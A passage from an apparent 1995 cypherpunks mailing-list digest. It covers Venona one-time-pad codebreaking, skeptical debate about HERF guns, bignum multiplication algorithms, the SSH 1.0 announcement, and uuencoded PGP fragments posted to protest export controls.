In-Reply-To: <m0sVs4F-000BYfC@dorite1.iquest.net>
Message-ID: <9507121146.AA10352@snark.imsi.com>




And why, pray tell, did you repost this here?

Al Thompson writes:
> 
> >> From owner-roc at xmission.com Tue Jul 11 11:10:37 1995
> >> Date: Tue, 11 Jul 1995 13:45:37 -0400 (EDT)
> >> From: Ian Goddard <igoddard at CapAccess.org>
> >> To: Libernet at Dartmouth.edu
> >> 
> >
> >Header deleted for brevity
> >
> >> (please re-post)
> >>                
> >> 		 ATF SUMMER CAMP A HOTBED OF RACIAL HATE





From mxa2677 at usl.edu  Wed Jul 12 04:49:21 1995
From: mxa2677 at usl.edu (Michael J. Axelrod)
Date: Wed, 12 Jul 95 04:49:21 PDT
Subject: pgp.zip
Message-ID: <199507121148.AA16273@armagnac.ucs.usl.edu>


So this is what it is like living on the edge ;-{

Warning: it may be illegal to use one of these as a sig file in the US
------------------ PGP.ZIP Part [019/713] -------------------
MPGD<Q0ZLA0D+,`MCT!LA**4M[-JPAK9F?40!AJ,CW"'%DR#:'9?Q)3[%<DQ`
M=P1!C]JXUTH0KN`[',0'>!-C$8&.:`1/Y-,6[Z,-Y?O"`PK&X=$W*`,;L1HI
MF(JAZ(A:$/`XF)C!]4W(Q>?(Q!*\C0YHC!+R+4`>EB`>_7%/4`86X19NX!HN
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From perry at imsi.com  Wed Jul 12 04:50:04 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 04:50:04 PDT
Subject: Don't trust the net too much
In-Reply-To: <199507120328.XAA02985@bwh.harvard.edu>
Message-ID: <9507121149.AA10360@snark.imsi.com>



Adam Shostack writes:
> 	More specifically, few items sensitive electronic items are
> hardened against electromagnetic pulses.  Ever see a speaker interfere
> with your TV set?

Thats because electrons flying along long free paths in the vacuum of
your picture tube are easy to move off of path. However, I'll point
out that magnetic fields are always generated by dipoles and fall off
very fast with time. I'll also point out that you'd need a damn
powerful field to do the following:

> Build a big enough speaker, and you can screw with your computers
> memory.

I'd have to hear very, very powerful evidence that this was possible,
especially at a distance.

Perry





From pgf at tyrell.net  Wed Jul 12 05:09:46 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Wed, 12 Jul 95 05:09:46 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <9507111658.AA06104@elysion.iaks.ira.uka.de>
Message-ID: <199507121204.AA27373@tyrell.net>


   Date: Tue, 11 Jul 1995 18:58:54 +0200
   From: danisch at ira.uka.de (Hadmut Danisch)
   X-Sun-Charset: US-ASCII
   Sender: owner-cypherpunks at toad.com
   Precedence: bulk

   > I've never seen any actual nazism on the net anywhere, but this "strict 
   > regulation" tactic is obviously fascist in nature.


   There are certain nazi pages in America. They were showing them in
   a german tv magazine some time ago, but they didn't tell the URLs.
   The URL field in the Mosaic window was painted over.

   Hadmut



How do you know they weren't local?






From danisch at ira.uka.de  Wed Jul 12 05:42:07 1995
From: danisch at ira.uka.de (Hadmut Danisch)
Date: Wed, 12 Jul 95 05:42:07 PDT
Subject: FW: Edupage 7/9/95 (fwd)
Message-ID: <9507121233.AA15475@elysion.iaks.ira.uka.de>



>    There are certain nazi pages in America. They were showing them in
>    a german tv magazine some time ago, but they didn't tell the URLs.
>    The URL field in the Mosaic window was painted over.

> How do you know they weren't local?


Because it was an article about Networks in America. They said
it was an american web server and they explained how they found
it. They found the link on one of these service web pages, and
they had an interview with the administrator of this server. They
asked him why he has put such links on his honorable server. He
answered he didn't have the time to check all references, but
in this certain case he will have a look at the page and decide
whether he will keep the link or not (if I remember everything well).
This was also an american server.

And the nazi pages were written in english. The pages were named
after the author of the pages (something like 'The XY report', where
XY was the authors name, but I can't remember it. The author was
an american).

BTW: The german tv magazine was the "Kulturreport".






From adam at bwh.harvard.edu  Wed Jul 12 06:32:41 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Wed, 12 Jul 95 06:32:41 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <9507121233.AA15475@elysion.iaks.ira.uka.de>
Message-ID: <199507121331.JAA05803@bwh.harvard.edu>



| And the nazi pages were written in english. The pages were named
| after the author of the pages (something like 'The XY report', where
| XY was the authors name, but I can't remember it. The author was
| an american).

	The Leuter report?  Leuter was a local moron who claimed to be
an engineer.  He wrote a report claiming to prove that the gas
chambers somewhere were too small to kill many people.

	The Commonwealth of Mass brought him to court several years
ago for "practicing engineering without a license."  A good rebuttal
of his report was written up by (I think) William McVey, in Canada.
Ask in talk.politics.mideast, or soc.history.revisionist or something.

	I have no idea why this thread is still on cypherpunks, unless
its an experiment in text stego.

Adam


-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From Doug.Hughes at Eng.Auburn.EDU  Wed Jul 12 06:51:34 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Wed, 12 Jul 95 06:51:34 PDT
Subject: Don't trust the net too much
In-Reply-To: <9507121149.AA10360@snark.imsi.com>
Message-ID: <doug-9506121351.AA0053320@netman.eng.auburn.edu>




>
>Adam Shostack writes:
>> 	More specifically, few items sensitive electronic items are
>> hardened against electromagnetic pulses.  Ever see a speaker interfere
>> with your TV set?
>
>Thats because electrons flying along long free paths in the vacuum of
>your picture tube are easy to move off of path. However, I'll point
>out that magnetic fields are always generated by dipoles and fall off
>very fast with time. I'll also point out that you'd need a damn
>powerful field to do the following:
>
>> Build a big enough speaker, and you can screw with your computers
>> memory.
>
>I'd have to hear very, very powerful evidence that this was possible,
>especially at a distance.
>
>Perry
>
>
>

For people interested in electromagnetic fields, TEMPEST, emanations,
crashing computers, and electronics eavesdropping:

Go see Winn Schwartau talk about HERF guns sometime. He passed around
a picture of a device for < US$500 that could crash any computer within
50 yards..  Then again, it isn't too good for the person firing the gun
either.. (mega EM emissions).

The parts are available if you know what to get. a VERY enlightening
and frightening presentation. I don't think he personally has built one.
His presentation contained a presentation on TEMPEST emissions, and
low level EM field effects on sensitive equipment problems too (a PBS
documentary - a VERY compelling presentation of why you should never
use walkman/CD players/radios/electronics equipment on airplanes if
they say not to, and you value your life)

Obviously, the further you get away, the faster the field decays, so
range to target is important. Then again, the US purportedly used a kind 
of HERF bomb against Iraqi telecommunications bunkers during the Persian
Gulf war. (No I don't have any references about this, but it shouldn't
be that hard to verify).

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug at eng.auburn.edu
		"Real programmers use cat > file.as"





From jya at pipeline.com  Wed Jul 12 06:53:47 1995
From: jya at pipeline.com (John Young)
Date: Wed, 12 Jul 95 06:53:47 PDT
Subject: QED_jak
Message-ID: <199507121353.JAA23961@pipe1.nyc.pipeline.com>


   7-12-95. NYPaper:


   "U.S. Tells How It Found Soviets Sought A-Bomb: Discloses
   Clues That Led to Code-Breaking."

      The American intelligence establishment today unveiled
      one of its oldest secrets: how a small team of
      codebreakers found the first clues that the Soviet Union
      sought to steal the blueprints for the atomic bomb in
      World War II.  Using just brain power -- no computers,
      no stolen skeleton keys -- the cryptographers slowly
      cracked what was thought to be an unbreakable code. 
      Their work and the fact that they had broken the
      Soviets' seemingly impenetrable cipher, was until today
      one of the most tightly held secrets of the National
      Security Agency, the nation's electronic eavesdropping
      service.  The messages were like a jigsaw puzzle with a
      billion pieces -- all black. They had been double-coded
      by a system called a one-time pad -- a unique random
      code for each message, converting words to numbers in a
      pattern used only once.                        HOO_doo


   [Book review] "What Would Happen if E.T. Actually Called:
   The implications of finding other intelligence in the
   universe." 

      Mr. Davies is a supporter of the program called SETI,
      the search for extraterrestrial intelligence, which aims
      radio telescopes at thousands of target star systems to
      try to detect communications from extraterrestrial
      civilizations. He argues that if we do pick up any
      signals, or even if we just determine that there is a
      single microorganism out there that formed independently
      of earthly contamination, this "would drastically alter
      our world view and change our society as profoundly as
      the Copernican and Darwinian revolutions." It would be,
      Mr. Davies writes, nothing less than "the greatest
      scientific discovery of all time."             ETT_eeg


   "AT&T Expected to Buy Stake In an Internet Access Provider

      Cementing its recent link with one of the country's
      largest corporate Internet access providers, the AT&T
      Corporation will spend $8 million to buy a stake in the
      BBN Planet Corporation, according to an executive
      familiar with the company's plans.             BBN_bye



   3x Pad: QED_jak











From dmandl at bear.com  Wed Jul 12 07:19:09 1995
From: dmandl at bear.com (David Mandl)
Date: Wed, 12 Jul 95 07:19:09 PDT
Subject: FW: Edupage 7/9/95 (fwd)
Message-ID: <199507121418.AA21899@bear-gate.bear.com>


Adam Shostack <adam at bwh.harvard.edu> wrote:

> | And the nazi pages were written in english. The pages were named
> | after the author of the pages (something like 'The XY report', where
> | XY was the authors name, but I can't remember it. The author was
> | an american).
> 
> 	The Leuter report?  Leuter was a local moron who claimed to be
> an engineer.  He wrote a report claiming to prove that the gas
> chambers somewhere were too small to kill many people.

For the record: It's Leuchter, Fred Leuchter.
 
> 	The Commonwealth of Mass brought him to court several years
> ago for "practicing engineering without a license."  A good rebuttal
> of his report was written up by (I think) William McVey, in Canada.
> Ask in talk.politics.mideast, or soc.history.revisionist or something.

Ken McVay.  And dozens of other people too.  The newsgroup is
alt.revisionism.  If you've got any interest in the "holocaust
revisionism" phenomenon, it's well worth at least a brief look in
there.

Incidentally, I would say that this is one of the best uses of the
net I've ever seen.  This particular brand of neo-nazism is tricky:
in their case, it really is true that there's no such thing as bad
press.  Any exposure they get on TV, the radio, or in print media
helps their cause, because of the inherent limitations of those
media.  They can throw up smokescreens, spew out blatantly false
"facts" that sound plausible but can't be confirmed or denied then
and there, put on the "we're just skeptics who feel that these
questions need to answered even though they're controversial" act,
etc.  Very difficult to counter, given the strict limitations on
time and resources of live broadcasts.

But on the net, where claims can be researched and repudiated and
responses "broadcast" almost immediately, and where people have all
the time in the world to debate these issues, these guys get
absolutely trounced every day.  They make a claim, it gets blown to
smithereens instantly by a dozen people with access to university
libraries and scanned photos, and the revisionists crawl away for a
while.  Then they come back a month later and start again.  It gets
kind of old after a while, but's fascinating to see (especially for
those naive young people to whom the revisionists seem "reasonable").

Even for a part-time Luddite like me, this is an excellent
demonstration of how the net is in many ways fundamentally different
from traditional print and broadcast media.

> 	I have no idea why this thread is still on cypherpunks, unless
> its an experiment in text stego.

Well, I hope my little digression above is at least slightly relevant.

   --Dave.
--
*******************************************************************************
Bear Stearns is not responsible for any recommendation, solicitation, offer or 
agreement or any information about any transaction, customer account or account 
activity contained in this communication.
*******************************************************************************





From frissell at panix.com  Wed Jul 12 07:28:16 1995
From: frissell at panix.com (Duncan Frissell)
Date: Wed, 12 Jul 95 07:28:16 PDT
Subject: QED_jak
Message-ID: <199507121427.KAA09285@panix.com>


At 09:53 AM 7/12/95 -0400, John Young wrote:
>   7-12-95. NYPaper:
>
>
>   "U.S. Tells How It Found Soviets Sought A-Bomb: Discloses
>   Clues That Led to Code-Breaking."
>
>      The American intelligence establishment today unveiled
>      one of its oldest secrets: how a small team of
>      codebreakers found the first clues that the Soviet Union
>      sought to steal the blueprints for the atomic bomb in
>      World War II.  Using just brain power -- no computers,
>      no stolen skeleton keys -- the cryptographers slowly
>      cracked what was thought to be an unbreakable code. 


>      service.  The messages were like a jigsaw puzzle with a
>      billion pieces -- all black. They had been double-coded
>      by a system called a one-time pad -- a unique random
>      code for each message, converting words to numbers in a
>      pattern used only once.                        HOO_doo

Note Julius Rosenberg's code name was "liberal".

The NSA said that the Soviets were using a one-time-pad.  The implication is that sloppy encryption practice caused Soviet code clerks to sometimes reuse the random material thus converting the code into a code book system that could be read.

DCF

"A man perfects himself by working. Foul jungles are cleared
away, fair seed-fields rise instead, and stately cities; and withal
the man himself first ceases to be a jungle, and foul unwholesome
desert thereby. . . . The man is now a man." -- Carlyle





From sebaygo at intellinet.com  Wed Jul 12 07:34:48 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Wed, 12 Jul 95 07:34:48 PDT
Subject: pgp.zip
In-Reply-To: <199507121148.AA16273@armagnac.ucs.usl.edu>
Message-ID: <Pine.3.89.9507120958.C10643-0100000@sibyl.intellinet.com>



Gee, this is not so difficult....


------------------ PGP.ZIP Part [020/713] -------------------
M=P1!C]JXUTH0KN`[',0'>!-C$8&.:`1/Y-,6[Z,-Y?O"`PK&X=$W*`,;L1HI
MF(JAZ(A:$/`XF)C!]4W(Q>?(Q!*\C0YHC!+R+4`>EB`>_7%/4`86X19NX!HN
MH0#G<19?81F68`&2D(!W$8/IF(IN$F5@)X0B!*W1`DW1"`;4PQ*I,E!MKPQT
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/

   

AR

%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%
"Government is not reason... it is force.  Like fire, it is a dangerous
servant and a fearful master."                      - George Washington
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Allen Robinson...................................sebaygo at intellinet.com
PGP public key AD022AA9   fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A






From perry at imsi.com  Wed Jul 12 07:44:40 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 07:44:40 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121351.AA0053320@netman.eng.auburn.edu>
Message-ID: <9507121444.AA10523@snark.imsi.com>



Doug Hughes writes:
> Go see Winn Schwartau talk about HERF guns sometime. He passed around
> a picture of a device for < US$500 that could crash any computer within
> 50 yards.

If it costs that little, I'd like to see one demonstrated. I've heard
of no demonstrations of such things.

.pm





From perry at imsi.com  Wed Jul 12 07:45:17 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 07:45:17 PDT
Subject: QED_jak
In-Reply-To: <199507121353.JAA23961@pipe1.nyc.pipeline.com>
Message-ID: <9507121445.AA10531@snark.imsi.com>



John Young writes:
>    "U.S. Tells How It Found Soviets Sought A-Bomb: Discloses
>    Clues That Led to Code-Breaking."
> 
>       The American intelligence establishment today unveiled
>       one of its oldest secrets: how a small team of
>       codebreakers found the first clues that the Soviet Union
>       sought to steal the blueprints for the atomic bomb in
>       World War II.  Using just brain power -- no computers,
>       no stolen skeleton keys -- the cryptographers slowly
>       cracked what was thought to be an unbreakable code. 

The reports claimed the spys were using one time pads in some flawed
manner, but did not explain very well what the problem was. Does
anyone out there know?

.pm






From rjc at clark.net  Wed Jul 12 07:48:40 1995
From: rjc at clark.net (Ray Cromwell)
Date: Wed, 12 Jul 95 07:48:40 PDT
Subject: Moby ints [Re: Num Rat]
In-Reply-To: <199507120139.SAA07236@shell1.best.com>
Message-ID: <199507121448.KAA06858@clark.net>


> 
> At 07:31 PM 7/11/95 -0400, Ray Cromwell wrote:
> > However, it's only worthwhile for large
> > numbers (>512 bits). At n=512, if your bigints are stored as polynomials
> > with a 32-bit radix, then N=512/32=16. 16^1.5 = 64, 16 * lg(16) = 64
> > (so the FFT method and the Karatsuba method are equivalent for numbers
> > of that size)
> 
> I conjecture that the constant factor is rather smaller for the 
> Karatsuba method, so the turnover should be somewhat higher than
> 512 bits.

  True, the Karatsuba method does seem "simplier" than a fast fourier
transform (which a naive implementation would use complex math), however
Karatsuba has some hidden costs which the FFT technique doesn't. Karatsuba
requires dynamically resized integers. (i.e. when you split into subproblems,
you have to rescale to n/2 bit integers) Karatsuba also has to do several
big_int additions per subproblem that the FFT doesn't. If the FFT-Poly
routine is done over a prime field, and it is coded iteratively, it just
might come close to Karatsuba for small n. I am not aware of any 
experimental data, but I am working on the implementation of a high
performance portable big_int library right now, and I'll be doing
some data collecting. 

-Ray





From ylo at cs.hut.fi  Wed Jul 12 07:52:34 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Wed, 12 Jul 95 07:52:34 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
Message-ID: <199507121451.RAA06122@shadows.cs.hut.fi>


-----BEGIN PGP SIGNED MESSAGE-----

Looking for a secure rlogin?
Want to deter IP-spoofing, DNS-spoofing, and routing-spoofing?
Want to run X11 connections and TCP/IP ports securely over an insecure network?
Worried about your privacy?
Then read this.


Introducing SSH (Secure Shell) Version 1.0


Ssh (Secure Shell) is a program to log into another computer over a
network, to execute commands in a remote machine, and to move files
from one machine to another.  It provides strong authentication and
secure communications over insecure channels.  Its features include
the following:

   o    Strong authentication.  Closes several security holes (e.g., IP,
	routing, and DNS spoofing and listening for passwords from the
	network).  New authentication methods: .rhosts together with
	RSA based host authentication, and pure RSA authentication.

   o    All communications are automatically and transparently
        encrypted.  Encryption is also used to protect against spoofed
        packets.

   o    X11 connection forwarding provides secure X11 sessions.

   o    Arbitrary TCP/IP ports can be redirected over the encrypted
        channel in both directions.

   o    Client RSA-authenticates the server machine in the beginning of
        every connection to prevent trojan horses (by routing or DNS
        spoofing) and man-in-the-middle attacks, and the server RSA-
        authenticates the client machine before accepting .rhosts or
        /etc/hosts.equiv authentication (to prevent DNS, routing, or IP
        spoofing).

   o    An authentication agent, running in the user's local workstation
        or laptop, can be used to hold the user's RSA authentication
        keys.

   o    Multiple convenience features fix annoying problems with rlogin
        and rsh.

   o    Complete replacement for rlogin, rsh, and rcp.


Ssh is freely available, and may be used by anyone (see the file
COPYING in the distribution for more details).  There is no warranty
of any kind, and patents may restrict your right to use this software
in some countries.

Ssh is currently available for anonymous ftp at the following locations
   ftp.funet.fi:/pub/unix/security/ssh-1.0.0.tar.gz
   ftp.cs.hut.fi:/pub/ssh/ssh-1.0.0.tar.gz

Please let me know if you willing to have your site act as a
distribution site.  (US sites warning: although this software was
developed outside the United States using information available in any
major bookstore or scientific library worldwide, it is illegal to
export anything containing cryptographic software from the United
States.  Putting this openly available for ftp in the US may make you
eligible for charges on ITAR violations, with penalties up to 10 years
in prison.  French and Russian sites warning: it may be illegal to use
or even posses this software in your country, because your government
wants to be able to monitor all conversations of its citizens.)

There is a WWW home page for ssh: http://www.cs.hut.fi/ssh.

There is a mailing list for ssh.  Send mail to ssh-request at clinet.fi
to get instructions (or mail directly to majordomo at clinet.fi with
"subscribe ssh" in body).


All official distributions of ssh are accompanied by a pgp signature
by the key "pub  1024/DCB9AE01 1995/04/24 Ssh distribution key
<ylo at cs.hut.fi>".  (Included below.)

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.i

mQCNAi+btRkAAAEEAKxQ9HwqfsQc9apOIQmFTo2wqbCL6Q1xlvN6CjxkBbtviaLq
EgmVPnb/FGD5wwxDMjCCJDwBFfLLRwASQAyyy5RjukkZx1Gn8qHzmoyIOVTFOIJI
TFDWyVjMSSvUKACDqXv/xVFunsPlPc7d6f4MwxD1kw2BBpoV7k64di/cua4BAAUR
tCRTc2ggZGlzdHJpYnV0aW9uIGtleSA8eWxvQGNzLmh1dC5maT6JAJUCBRAvm7Vv
qRnF8ZYfSjUBAW7pBACQ7G2pYStkBM5aOK2udb/m/YAAZ/NlY2emSgEJfYrAysSY
0yfbhKGt0K59fGSotmSRcMOpq0tgTMm7lQjsUr5ez1Ra/0Dv7e3xoGQYJ8764X9w
popC+u9JuxLeGTtgWYwPUZIHFcQanZslUmCDr36kvesx/2wXBf8+StghMbA3vw==
=aGik
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: 2.6.i

iQCVAgUBMAPhQqkZxfGWH0o1AQHgngP/dbcRUFqJF549VvVOWgDtAxu/UoO6hnei
26/OpczgH6j8+6fZh8TV81yVAh95K6EhHsKo85j5hXTmKSG3xLn6fw26q1DPGHpQ
Sa4xQ4oL20qcvgOeaEi3gZxxTD5etzdl8eBNbe8vSIkk91yrsAiZL7h8St7UHGsA
N5WqXSMI8pg=
=tXr9
-----END PGP SIGNATURE-----





From Doug.Hughes at Eng.Auburn.EDU  Wed Jul 12 08:00:17 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Wed, 12 Jul 95 08:00:17 PDT
Subject: Don't trust the net too much
In-Reply-To: <9507121444.AA10523@snark.imsi.com>
Message-ID: <doug-9506121459.AA0062320@netman.eng.auburn.edu>



Hmm.. I'm not sure I'd want to stand too close when one of those
things goes off, but it would be an interesting demo. :)

Maybe behind an EM shield.. ;) 
I think there was a question of some microelectronics being permenently
damaged because of fusion at the MOS level (burning through the gate), so
it might have to be a disposable machine in a place where no other machines
are near. It would depend on the magnitude of the charge (and hence cost
of the weapon). It might take a very expensive one to do this, or maybe
not...

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug at eng.auburn.edu
		"Real programmers use cat > file.as"





From feanor at anduin.gondolin.org  Wed Jul 12 08:04:24 1995
From: feanor at anduin.gondolin.org (Bryan Strawser)
Date: Wed, 12 Jul 95 08:04:24 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <199507121418.AA21899@bear-gate.bear.com>
Message-ID: <199507121455.JAA12032@anduin.gondolin.org>


> > 	The Leuter report?  Leuter was a local moron who claimed to be
> > an engineer.  He wrote a report claiming to prove that the gas
> > chambers somewhere were too small to kill many people.
> 
> For the record: It's Leuchter, Fred Leuchter.

there is a good accounting of Leuchter's work in "The Execution 
Protocol", an examination of Missouri's death penalty process.  I can 
get the ISBN number if anyone is interested.  It was also made into a 
documentary by Discovery.

Bryan



-- 
Bryan Strawser, Gondolin Technologies, Bloomington, IN USA        Remember Waco
feanor at gondolin.org                                            Live free or die




From perry at imsi.com  Wed Jul 12 08:06:22 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 08:06:22 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121459.AA0062320@netman.eng.auburn.edu>
Message-ID: <9507121505.AA10601@snark.imsi.com>



Doug Hughes writes:
> 
> Hmm.. I'm not sure I'd want to stand too close when one of those
> things goes off, but it would be an interesting demo. :)
> 
> Maybe behind an EM shield.. ;) 

What is it, exactly, that you imagine could happen to you? You realize
that you can expose humans to pretty powerful electromagnetic fields
without any noticable effect unless the frequency happens to be one
that their tissues absorb.

> I think there was a question of some microelectronics being permenently
> damaged because of fusion at the MOS level (burning through the
> gate),

To do that requires that you transfer energy from your device into the
computer you are attacking. How do you propose to do that?

.pm





From dmandl at bear.com  Wed Jul 12 08:09:07 1995
From: dmandl at bear.com (David Mandl)
Date: Wed, 12 Jul 95 08:09:07 PDT
Subject: QED_jak
Message-ID: <199507121508.AA11385@bear-gate.bear.com>


"Perry E. Metzger" <perry at imsi.com> says:

> John Young writes:
> >    "U.S. Tells How It Found Soviets Sought A-Bomb: Discloses
> >    Clues That Led to Code-Breaking."
> > 
> The reports claimed the spys were using one time pads in some flawed
> manner, but did not explain very well what the problem was. Does
> anyone out there know?
> 
> .pm

It wasn't completely random.  They reused some code material:

   But Mr. Gardner and his colleagues found patterns in
   unrelated messages. They were proof that exhausted Soviet
   code-makers had repeated themselves ...

Still, it's pretty impressive that the NSA was able to find this.

   --Dave.
--
*******************************************************************************
Bear Stearns is not responsible for any recommendation, solicitation, offer or 
agreement or any information about any transaction, customer account or account 
activity contained in this communication.
*******************************************************************************





From Doug.Hughes at Eng.Auburn.EDU  Wed Jul 12 08:16:11 1995
From: Doug.Hughes at Eng.Auburn.EDU (Doug Hughes)
Date: Wed, 12 Jul 95 08:16:11 PDT
Subject: Don't trust the net too much
In-Reply-To: <9507121505.AA10601@snark.imsi.com>
Message-ID: <doug-9506121515.AA0064320@netman.eng.auburn.edu>



>
>Doug Hughes writes:
>> 
>> Hmm.. I'm not sure I'd want to stand too close when one of those
>> things goes off, but it would be an interesting demo. :)
>> 
>> Maybe behind an EM shield.. ;) 
>
>What is it, exactly, that you imagine could happen to you? You realize
>that you can expose humans to pretty powerful electromagnetic fields
>without any noticable effect unless the frequency happens to be one
>that their tissues absorb.
>
I'm thinking better safe than sorry. None of the studies on EM fields
and their effects on humans are causal, but a lot of studies and advice
have concluded that caution and minimization may be advisable.
 It's the un-noticable effects that I'm worried about. ;)

>> I think there was a question of some microelectronics being permenently
>> damaged because of fusion at the MOS level (burning through the
>> gate),
>
>To do that requires that you transfer energy from your device into the
>computer you are attacking. How do you propose to do that?
>

Just relating what I thought I'd heard. It may be wrong, or I may be
remembering it wrong. My EM theory is a bit rusty.

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug at eng.auburn.edu
		"Real programmers use cat > file.as"





From jya at pipeline.com  Wed Jul 12 08:25:41 1995
From: jya at pipeline.com (John Young)
Date: Wed, 12 Jul 95 08:25:41 PDT
Subject: QED_jak
Message-ID: <199507121525.LAA08710@pipe1.nyc.pipeline.com>



Responding to msg by perry at imsi.com ("Perry E. Metzger") on 
Wed, 12 Jul 10:45 AM


>The reports claimed the spys were using one time pads 
>in some flawed  manner, but did not explain very well 
>what the problem was. Does  anyone out there know?


The NYT-reported ceremony was on C-SPAN (1 or 2) last night; I 
saw only a snippet of Moynihan mumbling. Maybe there will be a 
replay sometime today that may provide clues to the sharp ear.


Held at the CIA, the clip showed lots of backs of heads of 
creme de les zipped-lipped crypto-slaves. Unctous Freeh, 
Deutch, the spy-brass were all there, lipping the New Yarper -- 
an ouvert HERF-zap would have spattered their sucrets.








From m5 at dev.tivoli.com  Wed Jul 12 08:26:32 1995
From: m5 at dev.tivoli.com (Mike McNally)
Date: Wed, 12 Jul 95 08:26:32 PDT
Subject: QED_jak
In-Reply-To: <199507121353.JAA23961@pipe1.nyc.pipeline.com>
Message-ID: <9507121524.AA06294@vail.tivoli.com>



Could it be that they were using the pads more than once?  That's the
simplest flaw I can imagine.

Also:

 > >       one of its oldest secrets: how a small team of
 > >       codebreakers found the first clues that the Soviet Union
 > >       sought to steal the blueprints for the atomic bomb in
 > >       World War II.

Gee, why did it take a squad of codebreakers to come to the conclusion
that the Soviets sought to steal atomic secrets?  I mean, couldn't
they just kinda scratch their heads and decide it was highly unlikely
that the Soviets *wouldn't* do it?  And why would they need to "crack"
the code at all?  Seems like they could do some controlled information
leaks and then do some traffic flow analysis via whatever known
communications channels operatives were believed to use; all they
needed was grounds for suspicion, after all.

I assume there's a lot about this not revealed yet, or not clear from
the brief synopsis above.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Nobody's going to listen to you if you just | Mike McNally (m5 at tivoli.com) |
| stand there and flap your arms like a fish. | Tivoli Systems, Austin TX    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From unicorn at access.digex.net  Wed Jul 12 08:34:40 1995
From: unicorn at access.digex.net (Black Unicorn)
Date: Wed, 12 Jul 95 08:34:40 PDT
Subject: NSA, Random Number Generation, Soviet Codes, Prohibition of Crypto
Message-ID: <Pine.SUN.3.91.950712113043.23433A-100000@access1.digex.net>




-----BEGIN PGP SIGNED MESSAGE-----

** How a conservative learned to like NPR -


Listening to Public Radio this morning I caught a story about the 
NSA's recent release, or pending release of some 2000 - 2200 
documents bearing decoded Soviet communications.  These were the 
result of a long running communications and signals intelligence 
program conducted by the U.S., and thus, by the NSA and it's 
predecessors.  Some of the documents to be released include 
communications quite damaging to the Rosenbergs, who were executed 
for espionage and selling U.S. atomic "secrets" to the Soviets.  
This is, in fact, the key attraction in the documents.

More interesting than all this was the discussion with the deputy 
director of the NSA in which he described the communications 
collections program which continued from the 1950's all the way 
into the 1980's.  What interested me most, aside the fact that the 
NSA was speaking so candidly, and in my opinion foolishly so, 
about the program (even given their new public relations 
awareness) was a brief discussion of what methods were used in 
cracking the Soviet code.

While it was not defined specifically, it was suggested that the 
majority of the messages were communications between the embassies 
and Moscow.  As a result, the procedural and cryptologic algorithm 
was likely very entrenched as a method, and lacked variation 
because of the massive coordination required to switch methods in 
embassy to home country secure communications.  While I do not 
know how much was puffing, I suspect that it is safe to say that 
the basic method the Soviets were using looked something like 
this.

Plaintext -> Codebook number substitution pass -> One time pad 
pass.

The most difficult, and in the words of the deputy director, 
"remarkable" task was, of course, attacking the last layer in the 
encryption, and the first layer in the decryption process, the 
random series on the one time pad, which, in the words of the 
public spook, "was not so random after all."  The fixed codebook 
substitution perhaps had a high overhead in the initial 
computation, but once analyzed the first time the entire cipher is 
a wash until a new codebook or random number generation method is 
used.

** "Captain, the energy is structured in a pattern I have never 
     before encountered." -

So what does this little disclosure tell us about NSA 
capabilities?

Most obviously that they have extremely sophisticated "random" 
number analysis abilities.  1950-1980 is a long time to practice, 
and develop specialized hardware for this purpose.  The discussion 
of the value of specialized hardware gains having been applied on 
this list to RC4 analysis, its value is still somewhat of a 
mystery to me with reference to random number analysis.

In any event, it is safe to assume that the NSA has a very large 
section dedicated to this entire pursuit, and moreover, that the 
Soviets probably were not "petty" random number generators.  
Perhaps laziness got the best of them, but I am inclined to think 
they conducted this program, at least at first, like any other 
massive communist "for the glory of the state" program--  i.e., 
with crippling dedication.

To me this prompts the questions: How random is random, and how 
random is "cryptographically random?"

I don't know much about the mechanics of cryptographically strong 
random number generation, but considering the enormous effort the 
NSA has put into the analysis of same, I suspect it is in 
everyone's best interest to know more.

Consider:  Now that the NSA has gone public with the program one 
